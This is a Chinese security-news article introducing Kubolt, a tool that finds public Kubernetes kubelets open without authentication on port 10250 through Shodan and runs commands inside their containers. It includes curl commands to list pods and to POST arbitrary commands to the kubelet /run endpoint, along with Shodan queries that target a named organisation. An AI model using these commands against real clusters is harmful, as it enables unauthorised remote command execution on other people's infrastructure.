欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

Kubolt :可用于扫描开放Kubernetes集群的实用工具

来源:本站整理 作者:佚名 时间:2019-07-11 TAG: 我要投稿

今天给大家介绍的是一款名叫Kubolt的实用工具,广大研究人员可以使用Kubolt轻松对公共Kubernetes集群执行安全扫描任务。

Kubolt是一款可以用来对公共未认证的Kubernetes集群进行安全扫描的实用工具,它允许我们直接在容器内运行控制命令。
某些情况下,Kubelet端口10250是开放的并接受未认证的访问请求,这样我们就可以使用kubelet的getrun函数来在容器内部执行操作命令了:
//getRun handles requests to run a command inside a container.
func(s *Server) getRun(request *restful.Request, response *restful.Response) {
       params := getExecRequestParams(request)
       pod, ok := s.host.GetPodByName(params.podNamespace,params.podName)
       if !ok {
        response.WriteError(http.StatusNotFound,fmt.Errorf("pod does not exist"))
              return
       }
运行机制及使用方式
基础请求示例:
ssl:trueport:10250 404
Kubelet默认使用SSL以及端口10250,其中的404指的是使用没有URL路径的HTTP响应。
Kubolt会通过Shodan API来请求获取一份IP地址列表,并保存下来以供后续公开资源情报调查活动的使用。
首先,我们可以运行Kubelet并过滤掉请求中不包含Unauthorized但包含container的主机,然后直接在容器内运行命令:
curl -k https://IP-from-Shodan:10250/runningpods/
当然了,你还可以利用下列请求获取所有可用的Pods:
curl-k https://IP-from-Shodan:10250/pods/

curlhttp://IP-from-Shodan:10255/pods/
接下来,Kubolt会对主机返回的响应信息进行解析,并生成如下所示的新请求:
curl -XPOST -khttps://IP-from-Shodan:10250/run/namespace>/PodName>/containerName>-d "cmd=command-to-run>"
你还可以使用如下Shodan过滤器来针对企业组织网络进行更加精准的安全扫描:
-asn
-org
-country
-net
工具安装
mkdir output
pip install -r requirements.txt
工具运行
python kubolt.py --query "asn:123123 org:'ACME Corporation'"

pythonkubolt.py --query "org:'ACME Corporation' country:UK"
Shodan
Kubolt使用了Shodan API以及相应的Query Credits,如果你在没有配置请求过滤器的情况下运行了该工具,那你有可能会触发你所有的Credits。
项目地址
Kubolt:【GitHub传送门

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载